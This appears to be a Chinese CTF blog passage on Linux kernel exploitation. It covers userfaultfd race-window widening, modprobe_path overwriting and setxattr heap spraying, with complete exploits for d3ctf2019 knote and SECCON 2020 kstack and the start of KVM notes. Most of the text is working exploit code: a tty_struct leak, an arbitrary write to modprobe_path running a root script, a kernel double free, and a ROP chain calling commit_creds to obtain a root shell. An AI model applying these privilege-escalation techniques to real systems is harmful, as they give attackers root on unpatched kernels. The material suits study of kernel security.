#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<pthread.h>
struct message{
char *buf;
int len;
}m;
void change_flag_addr(size_t flag_addr){
while(1){
m.buf=flag_addr;
}
}
int main(){
int fd=open("dev/baby",0);
ioctl(fd,0x6666,0);
system("dmesg |grep 'Your flag is at ' > ./flag_addr.txt");
int temp_fd=open("./flag_addr.txt",0);
char buf[100]={0};
int len=strlen("[ 2.817016] Your flag is at ");
read(temp_fd,buf,100);
close(temp_fd);
size_t flag_addr=strtoull(buf+len,buf+len+16,16);
printf("flag_addr:%d\n",flag_addr);
m.buf=buf;
int ret;
for(int i=0;i<100;i++){
m.len=i;
ret=ioctl(fd,0x1337,&m);
if(ret==22){
printf("flag_len:%d\n",i);
break;
}
}
pthread_t tid;
pthread_create(&tid,NULL,change_flag_addr,flag_addr);
for(int i=0;i<0x100000;i++){
m.buf=buf;
ret=ioctl(fd,0x1337,&m);
if(ret==0){
printf("susses\n");
break;
}
}
close(fd);
system("dmesg |grep 'Looks like the flag is' > ./flag.txt");
temp_fd=open("./flag.txt",0);
read(temp_fd,buf,100);
write(STDOUT_FILENO,buf,100);
close(temp_fd);
return 0;
}

userfaultfd

userfaultfd是linux系统在用户态的一个缺页处理机制,用户可以自定义函数来处理此类事件,就像kvm一样,linux系统已经规定好了userfaultfd的接口,用户可以利用规定的接口对某一虚拟内存进行监视,并且可以注册一个函数,当监视内存发生缺页异常的时候就会去执行这个注册函数。

使用userfaultfd的代码分为两部分,一部分是监控并注册函数,一部分是自定义处理函数的定义

注册模板

其中register_userfault函数的第一个参数就是受监控内存,第二个参数就是自定义处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void err_exit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
err_exit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
//当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
err_exit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
err_exit("[-] pthread_create");
}

自定义处理函数模板

可以把自定义处理函数分为两部分,前半部分就是模板操作

1
2
3
4
5
// 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
static struct uffd_msg msg;
// ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
struct uffdio_copy uffdio_copy;
uffd = (long) arg;

后半部分是真正的处理代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (;;) { // 此线程不断进行polling,所以是死循环
// poll需要我们构造一个struct pollfd对象
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
poll(&pollfd, 1, -1);
// 读出user-fault相关信息
read(uffd, &msg, sizeof(msg));
// 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件
assert(msg.event == UFFD_EVENT_PAGEFAULT);
// 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
// page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
......
}

理清楚了userfaultfd,那对于条件竞争又有什么用处呢,可以先看下面这段代码,如果这段代码没有加锁,那么当copy_from_user函数要向ptr但还没写入时,此时另一个线程把ptr给free掉然后再把这个堆块申请回来,这个堆块是比较特殊的堆块,比如tty_struct,这样我们就控制了tty_struct,进而可以控制程序流了,但是这样概率会很小,如果访问user_buf发生了缺页异常,那就会停下来去执行缺页异常处理函数,处理完再继续执行copy_from_user函数,如果我们在缺页异常处理函数中再sleep一下,那空档期就非常长了,在这段时间里释放在申请,最后成功写的概率就很大了。

1
2
3
4
5
if (ptr) {  
...
copy_from_user(ptr,user_buf,len);
...
}

说白了使用userfaultfd就是为了提高条件竞争成功的概率。

但是需要注意的是5.11版本以后,非特权用户就被禁止使用userfaultfd了

例题 d3ctf2019-knote

启动脚本

虚拟了两个cpu,每个cpu一个核,所以可以支持两个线程。保护除了kpti没开以外其他的都开了。

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap

文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod note.ko
mknod /dev/knote c 10 233
chmod 666 /dev/knote
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flag
poweroff -d 120 -f &
chroot . setuidgid 1000 /bin/sh #normal user
umount /proc
umount /sys
poweroff -d 0 -f

这道题就是在内核实现了一个菜单堆,有add,get,del,edit四个功能,其中del和add是加了读写锁的,没法条件竞争,但是get和edit是可以的,所以可以通过get进行条件竞争来完成内核地址泄露,在这个内核版本中tty_struct大小是0x2e0,所以可以先申请一个0x2e0的堆,然后在get的时候条件竞争,在缺页处理的时候先把这个堆块free掉,然后再打开一个ptmx,就会在内核申请一个0x2e0的堆,有概率申请到刚free的堆块,缺页处理完再进行拷贝的话就能得到tty_struct的内容了,就能得到内核地址了,然后在edit的时候再次进行条件竞争就可以任意地址写了,但是怎么利用这个任意地址提升权限呢

modprobe_path

当在用户态使用execve执行一个非法的文件的时候,内核会有如下调用链

1
2
3
4
5
6
7
8
9
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module()
call_modprobe()

最后一个函数定义于/kernel/kmod.c,下面就是题目内核版本对应的call_modprobe()源码,在函数的最后会调用call_usermodehelper_exec()函数,将modprobe_path作为可执行文件路径,以root权限将其执行,modprobe_path默认存储着执行路径/sbin/modprobe.

所以可以通过任意地址写接触modprobe_path,将其改写为我们构造的恶意脚本的路径,然后执行一个非法文件触发上述调用链,最后以root用户执行恶意脚本,思路就是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define tty_struct_size 0x2e0
#define modprobe_path_offset 0x145c5c0
char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char *msg){
puts(msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(10);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
typedef struct
{
union
{
size_t size;
size_t idx;
};
char *data;
}Chunk;
void add(int fd,size_t size){
Chunk chunk={
.size=size
};
ioctl(fd,0x1337,&chunk);
}
void get(int fd,size_t idx,char *data){
Chunk chunk ={
.idx=idx,
.data=data
};
ioctl(fd,0x2333,&chunk);
}
void del(int fd,size_t idx){
Chunk chunk={
.idx=idx
};
ioctl(fd,0x6666,&chunk);
}
void edit(int fd,size_t idx,char *data){
Chunk chunk ={
.idx=idx,
.data=data
};
ioctl(fd,0x8888,&chunk);
}
int knote_fd=0;
int tty_fd=0;

void get_tty_struct_data(int v1){
sleep(3);
del(knote_fd,0);
tty_fd=open("/dev/ptmx",O_RDWR);
if(!tty_fd){
errExit("/dev/ptmx open fail");
}
puts("[*] ptmx ok");
}
size_t modprobe_path_addr=0;
void change_modprobe_path(int v1){
puts("[\033[34m\033[1m*\033[0m] object_next changeing");
sleep(3);
del(knote_fd,0);
}
void debug(){
printf("debug\n");
}
int main(){
saveStatus();
printf("[\033[34m\033[1m*\033[0m] debug: %p\n",debug);
char get_flag[]="#!/bin/sh\nchmod 777 /flag";
int fd=open("/getshell",O_RDWR|O_CREAT);
write(fd,get_flag,sizeof(get_flag));
close(fd);
system("chmod +x /getshell");

page_size=sysconf(_SC_PAGE_SIZE);
char *ptr1=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char *ptr2=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

page=malloc(page_size);
memset(page,0,page_size);

registerUserFaultFd(ptr1,page_size,fault_handler_thread);
registerUserFaultFd(ptr2,page_size,fault_handler_thread);

knote_fd=open("/dev/knote",O_RDWR);
add(knote_fd,tty_struct_size);
pthread_t tid;
pthread_create(&tid,NULL,get_tty_struct_data,0);
get(knote_fd,0,ptr1);
size_t kernel_base=0;
if(*((size_t*)(ptr1) + 86)){
kernel_base=*((size_t*)(ptr1) + 86)-0x5d4ef0;
printf("[\033[34m\033[1m*\033[0m] kernel_base:%p\n",kernel_base);
}else{
errExit("[\033[34m\033[1m*\033[0m] get kernel_base fail\n");
}

modprobe_path_addr=kernel_base+modprobe_path_offset;
printf("[\033[34m\033[1m*\033[0m] modprobe_path_addr:%p\n",modprobe_path_addr);
add(knote_fd,0x60);
memcpy(page,&modprobe_path_addr, 8);
pthread_create(&tid,NULL,change_modprobe_path,0);
edit(knote_fd,0,ptr2);
add(knote_fd,0x60);
add(knote_fd,0x60);
edit(knote_fd,1,"/getshell");
debug();
system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
system("/fake");

int flag_fd=open("/flag",O_RDWR);
if(!flag_fd){
errExit("[\033[34m\033[1m*\033[0m] hack fail");
}
char flag[0x40]={0};
read(flag_fd,flag,0x20);
write(1,flag,0x20);
puts("ok");
system("/bin/sh");
}

假如恶意脚本是cat /flag在终端是没有显示的,可能最后执行call_usermodehelper_exec()的时候对应的终端已经不是当前终端了,所以得执行chmod 777 flag然后再读才能得到flag.

结果

1
2
3
4
5
6
7
/fake: line 1: ����: not found
[*] flag{12345}
ok
/bin/sh: can't access tty; job control turned off
/ $ ls -l flag
-rwxrwxrwx 1 0 0 16 Jul 26 08:41 flag

总结

通过这一道题大概了了解了userfaultfd和modprobe_path的思路和基本用法,收获满满。

setxattr+userfaultfd堆占位

和sendmsg一样都是堆喷,不同的是这个堆内核堆的大小没有限制,而sendmsg申请的内核堆的最小字节是44,所以比起sendmsg来说这个更具有一般性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {

//,..

kvfree(kvalue);

return error;
}

可以看到在setattr()函数中value和size我们都可以控制,并且可以分配任意大小的object并写入,但该object在setattr执行结束会被释放,被释放后我们就无法控制这个堆了,不过好在setattr函数是在kmalloc完之后才执行copy_from_user函数,而user_from_user函数可以阻塞的,我们可以先mmap一个两页大小的内存,然后向第一个页的末尾填充数据,第二页再用userfaultfd缺页处理,然后把第一页的末尾传入setattr()函数,这样copy完第一页的末尾后再copy第二页的时候就会陷入缺页中断了,然后就达到了chunk既可控又不会被释放的目的了。

盗的图

例题 SECCON 2020 kstack

qemu启动脚本

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic

开了kaslr和smep,也开了KPTI

1
2
3
4
5
6
7
8
9
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

ifup eth0 >/dev/null 2>/dev/null

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown root:root flag
chmod 400 flag
insmod /root/kstack.ko
chmod 777 /proc/stack

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /root/banner
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

还是不太能找到条件竞争的洞,就比如这道题,感觉这种条件竞争分析的时候就得在可以阻塞的位置停下来,思考如果这时候阻塞,其他线程进来会发生什么事情,然后还有思考阻塞前程序做了什么,阻塞后程序做了什么,这么会比较好分析出条件竞争如何利用,通过这道题还学到了两手,一手是在阻塞的空窗期我们想要执行某些任务,可以直接放在userfaultfd的处理函数中,这样可以完美利用空窗期,如果需要并发的话,完全可以在处理函数中创建线程然后使用wait函数等待所有线程全部结束运行然后再去处理缺页,二手是原来内核也可以doublefree,这道题的利用就是先doublefree一个0x20的堆,然后打开一个stat申请一个0x20的seq_operation,此时下次申请一个0x20的堆还是会申请到seq_opsration,也就能改seq_operation的start指针了,最后使用一个add rsp,xxx的gadget迁移到pt_regs上进行rop.

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/tty.h>

#define add_rsp_0x10_ret 0xffffffff815afc83
#define add_rsp_0x38_ret 0xffffffff815b29f1
#define add_rsp_pop_rbx_r12_r13_rbp_ret 0xffffffff8145523f
#define add_rsp_0x1c8_pop_6_ret 0xffffffff814d51c0
#define init_cred 0xffffffff815573b0
#define commit_creds 0xffffffff81069c10
#define prepare_kernel_cred 0xffffffff81069e00
#define pop_rdi_ret 0xffffffff81034505
#define ret 0xffffffff810001cc
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81600a34+0x10
#define mov_rdi_rax_pop_rbp_ret 0xffffffff8121f89a


size_t mov_rdi_rax_pop_rbp_ret_addr=0;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0;
size_t init_cred_addr=0;
size_t commit_creds_addr=0;
size_t prepare_kernel_cred_addr=0;
size_t pop_rdi_ret_addr=0;
size_t ret_addr=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
int stack_fd=0;
int seq_fd[0x200];
size_t kernel_msg;
size_t value;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

void add(char *buf){
ioctl(stack_fd,0x57AC0001,buf);
}
void del(char *buf){
ioctl(stack_fd,0x57AC0002,buf);
}


static void *
leak_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

del(&kernel_msg);
kernel_base=kernel_msg-0x13be80;
printf("\033[34m\033[1m[*]kernel_base:%p\033[0m\n",kernel_base);
if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
static void *
doublefree_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

del(&value);


if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
int stat_rop_fd=0;
static void *
stat_rop_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

for(int i=0;i<0x200;i++){
close(seq_fd[i]);
}
mov_rdi_rax_pop_rbp_ret_addr=mov_rdi_rax_pop_rbp_ret-vmlinux_nokaslr_addr+kernel_base;
prepare_kernel_cred_addr=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
init_cred_addr=init_cred-vmlinux_nokaslr_addr+kernel_base;
pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
ret_addr=ret-vmlinux_nokaslr_addr+kernel_base;
swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0;"
"mov r13, pop_rdi_ret_addr;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred_addr;"
"mov rbx, mov_rdi_rax_pop_rbp_ret_addr;"
"mov r11, 0;"
"mov r10, commit_creds_addr;"
"mov r9, swapgs_restore_regs_and_return_to_usermode_addr;"
"mov r8, 0x66666666;"
"mov rax, 0;"
"mov rdi, stat_rop_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
usr_shell();

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
int main(){
saveStatus();
stack_fd=open("/proc/stack",O_RDONLY);
if(!stack_fd){
errExit("/proc/stack open fail");
}
for(int i=0;i<0x200;i++){
seq_fd[i]=open("/proc/self/stat",O_RDONLY);
if(!seq_fd[i]){
errExit("stat open fail");
}
}
page_size=sysconf(_SC_PAGE_SIZE);
page=malloc(page_size);
char *leak_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(leak_buf,page_size,leak_handler_thread);
int seq_leak_fd=open("/proc/self/stat",O_RDONLY);
if(!seq_leak_fd){
errExit("leak_stat open fail");
}
close(seq_leak_fd);
add(leak_buf);

add("rootroot");
char *doublefree_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(doublefree_buf,page_size,doublefree_handler_thread);
del(doublefree_buf);

char *stat_rop_buf=mmap(NULL,page_size*2,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(stat_rop_buf+page_size,page_size,stat_rop_handler_thread);
*(size_t *)(stat_rop_buf+page_size-8)=add_rsp_0x1c8_pop_6_ret-vmlinux_nokaslr_addr+kernel_base;
stat_rop_fd=open("/proc/self/stat",O_RDONLY);
if(!stat_rop_fd){
errExit("stat_rop_fd open fail");
}
setxattr("/exp", "jingyinghua", stat_rop_buf + page_size - 8, 32, 0);

}

KVM虚拟化学习&kvm题目复现

kvm虚拟化学习

对我而言现在学习这个还是比较吃力的,涉及很复杂的一些理论知识,看的云里雾里(多半没看懂),而且资料也不是很多,看了一两天大概看懂了kvm的整个运行过程,虽然学的很浅,但是在这里记录一下。

kvm概述以及使用

kvm是运行在Linux内核中的硬件虚拟化管理模块,用户态的程序可以通过kvm暴露的用户态接口使用硬件虚拟化的功能,我们可以通过规定的API以及数据结构完成CPU虚拟化,内存虚拟化以及IO虚拟化,以此模拟完整的虚拟环境。

先写一段我们想要执行的代码,其中比较重要的是out指令,这个指令就是把al保存的数据发送到dx储存的io端口上去,CPU通常通过读写设备寄存器的方式和设备进行通信,访问设备寄存器的方式一共有两种,一种是内存映射I/O(MMIO),一种是端口映射I/O(PMIO),MMIO是将设备寄存器直接映射到内存空间上并且拥有独立的地址,CPU可以直接通过读写内存指令即可通信,而PMIO给每个设备分配对应的端口号,然后通过专门的端口操作指令(out/in)和设备通信,而0x3f8则是模拟的一个端口号

1
2
3
4
5
mov al, 1
add al,'0'
mov dx, 0x3f8
out dx, al
hlt

